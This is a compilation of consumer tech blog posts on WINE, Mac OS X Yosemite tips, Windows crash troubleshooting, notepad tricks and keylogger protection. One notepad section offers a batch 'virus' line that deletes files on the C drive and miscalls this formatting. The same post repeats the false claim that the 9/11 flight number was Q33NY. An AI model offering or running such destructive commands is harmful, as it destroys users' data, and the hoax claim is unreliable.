It’s becoming very common these days for people to “back up” their DVDs and Blu-Rays onto their computer. This despite the fact that the exact legality for making backups is murky at best. But my own personal opinion is that “if you own it, you can do what you want with it”. Watch it, burn it, eat it, use it as a frisbee in the park, whatever.

04:06

  21 Must-Know Tips & Tricks for Mac OS X Yosemite

By now, you've probably already installed 10.10 Yosemite, the newest version of Mac OS X, on your computer. While you most certainly noticed the visual changes, you might have missed some of the really cool additions.

We've spent the last few days getting to know it, and let me tell you, this isn't a mere redesign—there are a ton of new features packed in that make life with your computer much, much easier.

Install Yosemite, if you haven't already done so, then check out these 21 must-know tips, tricks, and features to become a master of Mac OS X 10.10.

03:57

There are thousands and thousands of applications available for Linux, and even more being developed as you read this. As much as I love Linux and Open Source, sometimes you happen to love a Windows application so much that you wonder if only this was available on Linux I would completely switch. It has happened to me in the past when I would switch over into Windows to play Counter Strike and Half Life and some people also wanted Photoshop on Linux because the GIMP requires some adjusting to on the interface.

Games are an important mention here because although the Linux games are catching up and going 3D and stuff, one would have to admit that there are a larger number of games for Windows that keep us going back to the Windows World.
Well if you wish for the same, your wish has been granted. There is a solution for all these situations and it has been around for sometime now. Its – WINE. Chances are that if you are into Linux you might have heard of it. WINE is another of those recursive acronyms which stands for WINE Is Not an Emulator (Amazing how they come up with recursive names, GNU and PHP are other examples)

So what is it? Do I drink it?

Nah, you won’t like to drink anything with such a name! Formally stated “WINE is an open source implementation of the Windows API on top of X, OpenGL, and Unix. Think of Wine as a compatibility layer for running Windows programs.”
In English this means that you can run Windows applications i.e. exe’s on Linux, FreeBSD, Solaris and yes Mac OS X too!
In fact the most popular use of WINE is to run Windows games on Linux!

Sweeeet! But do I require Windows as well?

Not at all, WINE is a completely free alternative of the Windows API and has “no Microsoft code” whatsoever.

How do I run my Windows programs?

This is the fun part! First and foremost you need to have WINE on your system. Get it here. Or else if you are using Ubuntu (or apt based distro) like me then fire up the terminal and type the following:
This will set up WINE on your system. That’s pretty much it, as from now on, you just have to follow the steps you will take to install the application/game in Windows. Yes that’s it, Its that simple. No hassles, nothing. I had an old version (8) of Photoshop so let me show you some screens, so you believe me:

Step1: Install

Step 2: Run

Step 3: Work on a pic!!

Can I run all Windows applications?

Well not really, there are thousand of applications (10,349 to be precise) whose status and compatibility to run with WINE can be viewed at the WINE AppDB. It categorizes applications into Platinum, Gold, Silver, Bronze and Garbage ratings, with the applications rated as Platinum being the most compatible and problem-free and applications rated Garbage being.. um.. well.. Garbage! (in regards to WINE compatibility of course).
However, there is no reason to be disheartened because many popular applications are featured in the Platinum, Gold and Silver lists. You may not want to go below this rating. If on the other hand an application you are looking for is not in the database then you can of course try it on your own, and let the world know how it went!
Here are some of the more popular applications that run smoothly with WINE:

• Photoshop CS2, other versions too but not CS3 – Platinum and Gold
• Half Life 2 – Platinum Counter Strike
• ACDSee – Platinum
• Command and Conquer – Gold
• Microsoft Office 2003 – Silver
• Call of Duty – Gold
• ….. many many more

What about performance?

WINE doesn’t slow down your computer, the application performance will be same as with Windows (no more, no less). In fact it’s actually better than using virtualization which has two operating systems running side by side and thus more resource hungry. Refer to “Debunking WINE myths” for more on these and similar questions.
All in all if you cannot give up running a Windows app or you want to play Windows games inside Linux then definately give WINE a try. It’s worth it.

06:09

Keyboard shortcuts can make using your Mac faster and easier, and leave your mouse feeling archaic. With just a few taps, you can save files, open new tabs, or play a movie—all without using your mouse even once.

• Don't Miss: 30+ Keyboard Shortcuts You Should Be Using on YouTube

But the trouble with keyboard shortcuts is that they're tough to remember. Each application has its own set of shortcuts, so a keyboard shortcut in Photoshop might perform a different action than if you used those same ones in iTunes.
Well, worry no more. Thanks to CheatSheet from Media Atelier, you can quickly bring up a window that shows you all of the keyboard shortcuts for whatever application you're currently in—in under one second!
This will work in iTunes, Photoshop, Finder, Chrome, Firefox, Safari, Pages, Numbers, Keynote, Excel, Word, PowerPoint, TextEdit, Photos, and every other Mac app you have installed on your system. Seriously, every app.

Step 1: Install CheatSheet

Download the app using the link below, which works for Mac OS X 10.7 and higher, then unzip it and move it to your Applications folder for safe keeping. Open the app, then click "Open" on the pop-up warning to finish installation.

• Download the newest version of CheatSheet

Step 2: Grant Access to Accessibility Features

After successfully opening the app, you'll be asked to give the CheatSheet access to accessibility features so it can control your computer. Choose "Open System Preferences" to continue.

Once you're redirected to the System Preferences -> Security Privacy -> Privacy, click on the lock button to unlock it, enter your password, and then check the box next to CheatSheet. Click on the lock one more time to prevent any more changes, then exit out.

Step 3: Look Up Keyboard Shortcuts

Now you can begin using the CheatSheet from within any app in Mac OS X. Just hold down on the Command key until a gray floating window appears with all of the keyboard shortcuts for that app visible. Keep holding down Command until you're ready to exit the popup.

Step 4: Access the Settings Menu

In the bottom-right corner of the pop-up window, you'll see a gear icon which you can use to access CheatSheet's settings to manage the delay for when the window opens. Set it to "Short" for the fastest action.

You can also quit the CheatSheet process here, instead of having to do it from the Activity Monitor like in previous versions given before, as well as check for the updates.
With CheatSheet, you are no longer have to worry about remembering all of the shortcuts for every single application across Mac OS X. Just hold down Command and bam—there they all are.
The only issue I've experience so far is when viewing the CheatSheet settings, the window won't disappear until after you've quit it or clicked out of it, but it's a minor inconvenience for such a convenient app.

More Keyboard Shortcuts

You're now a Mac power user when it comes to keyboard shortcuts, but there's still more to learn. 

Thanks for visiting !

03:29

Fatal error: The system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."
You have just been struck by the Blue Screen of Death. Anyone who uses Microsoft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?

1 Hardware conflict

The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.
For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.
If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:

* Start-Settings-Control Panel-System-Device Manager.
Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.
Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.
Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.
To be fair to Microsoft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

2.Bad Ram

Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.
But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.
One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.
Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.
EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.

3.BIOS settings

Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.
Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.
A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.
Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).

4.Hard disk drives

After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to

* Start-Programs-Accessories-System Tools-Disk Defragmenter

This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.
The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).
Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to

* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.
Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to

* Start-Programs-Accessories-System Tools-ScanDisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

5.Fatal OE exceptions and VXD errors

Fatal OE exception errors and VXD errors are often caused by video card problems.
These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.
If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.
If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.
The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.
Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).
Look up your video card's manufacturer on the internet and search for the most recent drivers for it.

6.Viruses

Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to

* Start-Settings-Control Panel-Add/Remove Programs
Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.
A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.
An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).

7.Printers

The action of sending a document to print creates a bigger file, often called a postscript file.
Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.
If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.

8.Software

A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.
The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.
Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org
Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.
Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.
Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.
Remember to restore all the BIOS settings back to their former settings following installation.

9.Overheating

Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.
One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com
CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.

10.Power supply problems

With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.
If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.
It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.

09:26

By now, you've probably already installed 10.10 Yosemite, the newest version of Mac OS X, on your computer. While you most certainly noticed the visual changes, you might have missed some of the really cool additions.
We've spent the last few days getting to know it, and let me tell you, this isn't a mere redesign—there are a ton of new features packed in that make life with your computer much, much easier.
Install Yosemite, if you haven't already done so, then check out these 21 must-know tips, tricks, and features to become a master of Mac OS X 10.10.

#1. Answer & Make Phone Calls

If you have an iPhone (5 or later), you can now make and receive phone calls on your Mac computer. You just need to make sure you're on the same Wi-Fi network and are using the same iCloud account on both devices.
When you're in the Messages app, go to Preferences -> Accounts and make sure your number is checked, which it more than likely is. Now, anytime you receive a phone call, you'll get a notification at the top right of your computer screen where you can choose to accept or decline it.

To make a call, go to FaceTime and either enter the number you want to call or hit the phone icon next to a recent number under the Audio tab.

Note: In addition to Yosemite, Wi-Fi calling via iPhone also works on the iPad Air, iPad mini, and iPad mini with Retina display.

#2. Receive & Send SMS Text Messages

While you've been able to send iMessages to other iOS users directly from your computer, regular text messages were still relegated to your iPhone. Now, thanks to SMS Relay, you can send text messages directly from the Messages app on your Mac.

Just make sure to follow the instructions in Neil's iOS 8.1 guide to get started.

#3. Share Screen & Mute Notifications

Also new in the Messages app for Mac is the ability to share your screen with another person. Just click on Details in the conversation thread and choose either "Invite to share my screen" or "Ask to share screen" from the share screen option.

You can also mute notifications by checking the mark next to "Do Not Disturb," just like on iOS 8.

#4. Send Voice Messages

If the person you're communicating with in the Messages app has iMessage as well, you can send them voice messages, just like on iOS 8. Click on the microphone icon at the bottom right of the Messages window to begin recording.

#5. Enhanced Spotlight Search

Instead of just searching through the apps on your computer, Spotlight search now shows results from iTunes, Wikipedia, suggested websites, your emails, and more. Either click on the Spotlight icon in the top right of the menu bar, or just use the Command+Spacebar shortcut, to start a search.

When typing in "Death Grips," an experimental hip-hop group, I was able to pull up music on my computer (and on iCloud), songs and albums available for purchase in iTunes, their official website and Wikipedia page, and even some text messages sent to friends in which the band was mentioned.

#6. Use Spotlight as a Calculator & Currency Converter

Spotlight also moonlights as a basic calculator and a currency converter. For instant calculations, use numbers and mathematical symbols in Spotlight (there's no need to hit enter or anything).

Enter the dollar sign ($) first (or any other currency symbol) and then the amount you want to convert to see the conversions for various popular currencies from around the world.

#7. Predictive Text

While it's not exactly the predictive text you're accustomed to on your iPad, iPhone, or iPod touch, Yosemite does have a hidden feature that brings up word suggestions when you're typing up a sentence.
Press Esc after typing a word and a list of suggestions will appear.

As of now, the feature only seems to be working with TextEdit (and in a few other Apple apps, like Messages, with limited functionality), but once it rolls out to other apps (hopefully Safari and Pages), it will become extremely useful.

#8. Widgets in Your Notification Center

Just like on iOS 8, you can now add widgets to the Notification Center on your computer. Some of the currently compatible third-party apps include Wunderlist (pictured below), 1Password, and Pocket. Stock widgets include Weather, Stocks, Calendar, Reminders, Social, World Clock, and Calculator.

[1] My current NC with Wunderlist included, [2] The default NC stock widgets

Add a widget by opening the Notification Center (the list-looking icon in the top right of the menu bar, next to the Spotlight icon), clicking on "Edit" at the bottom, then adding each widget manually by clicking on the green plus sign (+) next to it. To remove one, use the red minus sign (-).

#9. Dark Menu Bar & Dock

A little easier on the eyes, Yosemite now has a dark mode that's helpful when you're using your computer at night. Head over to System Preferences -> General and check the box next to "Use dark menu bar and Dock."

Your menu bar and dock will now turn black and dark grey.

[1] Regular mode, [2] Dark mode

Since there's no keyboard shortcut by default for this action, Redditor abspam3 (via Lifehacker) figured out how to make one with Terminal. just open up Terminal and type in the following command, followed by the Enter key.

• sudo defaults write /Library/Preferences/.GlobalPreferences.plist _HIEnableThemeSwitchHotKey -bool true

Enter in your password, then log out and back in again, and use the keyboard shortcut Control+Option+Command+T to switch between regular and dark mode.

#10. Use Shift Key to Move Dock

Speaking of the Dock, if you want to reposition it on your screen without going into System Preferences, hover over the Dock's divider on the far right until your cursor turns into a two sided arrow. Then, hold down the Shift key and drag it where you want.

#11. Find Yosemite's Hidden Maximize Button

The full-screen button usually located in the top-right corner of an app has been replaced by the green maximize button that sits next to the close and minimize buttons on the other side of the window.

So what happened to the green maximize button? Well, it's actually still there. Hold down on the Option key and hover over the new green full-screen button; you'll see it turn into the old maximize button.

Note that if you're in iTunes and hold down the Option key, the Genius Shuffle option will appear where the back button usually is.

#12. Enable Finder's Preview Pane

Are your Finder windows looking a little plain? For some users, Yosemite hid some features like Preview. If you want the Preview pane back, go to View in the menu bar and click on Show Preview.

#13. Annotate Attachments in Mail

Through the Mail app on Yosemite, you can now annotate attachments such as pictures, PDFs, documents, and more. All you have to do is attach a file, click on it, then select Markup.

You can draw, add text and shapes, leave a signature, and more on your attachment, all directly through the Mail app.

#14. Use Your TrackPad to Pen Signatures

While you've previously been able to scan signatures using the iSight camera on your Mac, Yosemite has a new feature where you can use the trackpad on your MacBook to digitally sign your signature.
Open Preview, click on Markup, and use the signature icon to begin signing with your finger. This also works through the Markup feature in Mail.

#15. Use DuckDuckGo for Private Browsing in Safari

DuckDuckGo is a web browser known for its privacy features, which allows users to surf the web without having their searches saved or their information shared with advertisers.
To set DuckDuckGo as your default search engine in Safari, select Safari in the menu bar and click on Preferences -> Search, then select DuckDuckGo under the "Search engine" option.

#16. View Stacked Tabs in Safari

Through the new "Show all tabs" icon at the top-right corner of Safari, you'll be able to view your tabs in a more organized manner. If you have several tabs open from the same website, or from Private Browsing, they will show up stacked on top of each other.

Along the bottom, you'll see any tabs you have open on your iPhone or other iOS device, which is similar to how it works on iOS devices, where your Mac tabs show up underneath iOS tabs.

#17. Close iOS Safari Tabs

As mentioned above, all of the open tabs on your iOS device will appear in Safari on your Mac. In case you want to close some of the tabs on your iPhone, you can do so directly from your computer by hovering over the tab and tapping the X on the far right.

#18. Bring Back Safari Toolbar Features

Safari has received a minimalist redesign and many of the features that you're accustomed to may not be where you remember. Follow these steps to regain some of the missing or misplaced stuff.

• Full URL: Preferences -> Advanced -> Show Full Website Address
• Bookmarks: View -> Show Favorites Bar
• Tabs: View -> Show Tab Bar
• Status Bar: View -> Show Status Bar
• Menu Bar Tools: View -> Customize Toolbar -> Drag icons you want to restore

Your Safari will go from looking like this...

To this...

#19. Record Your iOS Screen

Connect your iOS device to your computer via a Lightning cable and you can easily record its screen by opening QuickTime, going to File -> New Screen Recording, then selecting your device from the list of choices.

If you've used QuickTime to record your computer's screen before, it's the same process: click the red button to record and the stop button in the menu bar to finish.

#20. Take a 3D Tour of Your Favorite City

Enter a popular city name in the Maps app in Yosemite and you can take a 3D tour that flies you over the city, showing you the sites. Just tap on Start next to the "3D Flyover Tour" box that appears at the bottom. New York, Paris, Tokyo, and London are just a few of the cities that currently work with the feature.

#21. Quickly Connect to Hotspot

If your device (with cellular data) is running iOS 8.1, you can use the Personal Hotspot feature to connect it to your Mac, where you can then use it as an available network, as well as view battery life and connection strength.

Image via wonderhowto.com Of course, you have to have a hotspot feature in the plan with your carrier in order for this to work. 

Final Thoughts?

Got any features to add that you enjoy on Mac OS X Yosemite? Anything you hate? Lets us know in the comments below

04:01

Hi Fellas,
    I had previously share some Interesting computer tricks as well as cool Batch file programs. In this post i will share with you guys some of the cool notepad tricks.As name suggest you don't require any program other then notepad. So lets get started.

1. World Trade Center Attack Trick

The flight number of the plane that had hit World Trade Center on  (9/11) was Q33NY. Now we call this trick or a coincidence or something else but whatever it is you will be definately amazed by the this trick.Lets try this one

    1. Open Notepad and Type “Q33N” (without quotes) in capital letters.
    2. Increase the font size to 72.
    3. Change the Font to Wingdings.

• World Trade Center Notepad Trick

2. Matrix Effect Trick

In this trick i will show you to make a batch file in notepad which will act as matrix effect that you might have seen in movies.Matrix effect is basically number flashes in green color.Lets try this one...

    1. Open Noteapad and copy below code into it.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

    2. Now save this file as Matrix.bat (name can be anything but .bat is must)
    3. Open your saved file and you will have matrix effect on your screen.

• Matrix Effect Using Notepad
• Advance Matrix Effect

3. Creating Virus That Format C Drive

In this trick we will be creating virus in notepad using batch file programming. This virus is really simple to create yet very dangerous. opening this file we delete or format C drive of your computer.Lets try this one...

    1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

 
    2. Then Save this file as virus.bat
    3. Now, running this file format C Drive.

• Learn To Make Dangerous Virus In Minute

4. Making Personal Diary Using Notepad 

Here you will learn to use notepad as Digital diary or a log book to keep record of your daily work instead of using pen and paper.Lets try this one...

    1. Open Notepad and Type .LOG (in capital Letters and press enter

    2. Save the program with any name and close it.

    3. Open the file again. Now you can see current date and time, This will happen every time you reopen notepad

• Make Personal Diary Using Notepad

5. Dancing Keyboard Led

In this part i will show you to make interesting file using notepad which will make keyboard led to dance. basically we will be creating a visual basic script.Lets try this one...

    1. Open Notepad and copy below codes into it.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

    2. Then save this file as dance.vbs (name can be anything but .vbs is must)
    3. Open your save file and see your keyboard led blinking like disco lights

Cool right ? share this Article with your Friends !
Thanks for Visiting My blog.

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 In this tutorial i am going to talk about the most use piece of software besides from RAT by hackers to observe your activities on your computer and that is keyloggers. A keylogger is a software or hardware device which monitors each and every key typed by you on your keyboard. I am going to talk about different types of keylogger and how to be safe from keyloggers. So lets learn something about keyloggers. 

 1. What is keylogger ?

You might have heard about keyloggers but really don't know what they are reading this article will clear your mind. A keylogger also know as keystroke logger is software or hardware device which monitors each and every key typed by you on your keyboard. You can not identify the presence of keylogger on your computer since it runs in background and also it is not listed in task manager or control panel. It can be used by parents to keep eye on their children or company owner to spy on their employees.

2. How it can harm you ?

In this section i will talk about how keylogger can harm you in different ways for example It can be used by your enemy or friend to get sensitive information such as your username and password, Bank credit card details, or any other activities you do on your computer.

• Example: You login in to your Facebook account from a computer in which keylogger is install then your username and password will be captured.Access gained.

                      Protect yourselves from HACKERS!

3. Types of  keyloggers 

There are two types of keylogger hardware keylogger and software keylogger. Software keylogger is install in your computer where as a Hardware keylogger is attached to your keyboard. Looking at below images will clear your mind.

                              HARDWARE KEYLOGGER                                  

 

 SOFTWARE KEYLOGGER

 

                              

 4. How to Protect yourself from keyloggers ?

Keylogger can be used by your enemy to get sensitive information such as your Bank credit card details, or password of any social networking sites etc. In order to be safe keep following points in your mind.

                              Be carefull !

• Never use your online banking from cyber cafe. If you want to use then you can try this method. open notepad and type anything Then copy and paste each word that comes in your username or password.
• Never use your online banking from cyber cafe. If you want to use then you can try this method. open notepad and type anything Then copy and paste each word that comes in your username or password.
• You can even use above method to protect your facebook profile, yahoo or gmail ID or any other personal information which is important to us. and also valuable to us.
• When you enter cyber cafe make sure that no hardware device is attached to keyboard wire. Its look something similar to above image.
• Try to avoid using Stranger Personal computers.
• Even Mobile platforms had keylogger apps.
• Try to avoid using Smartphones too from Strangers.
• Even some of our friends wants to know our personal things.So, protect yourselves.

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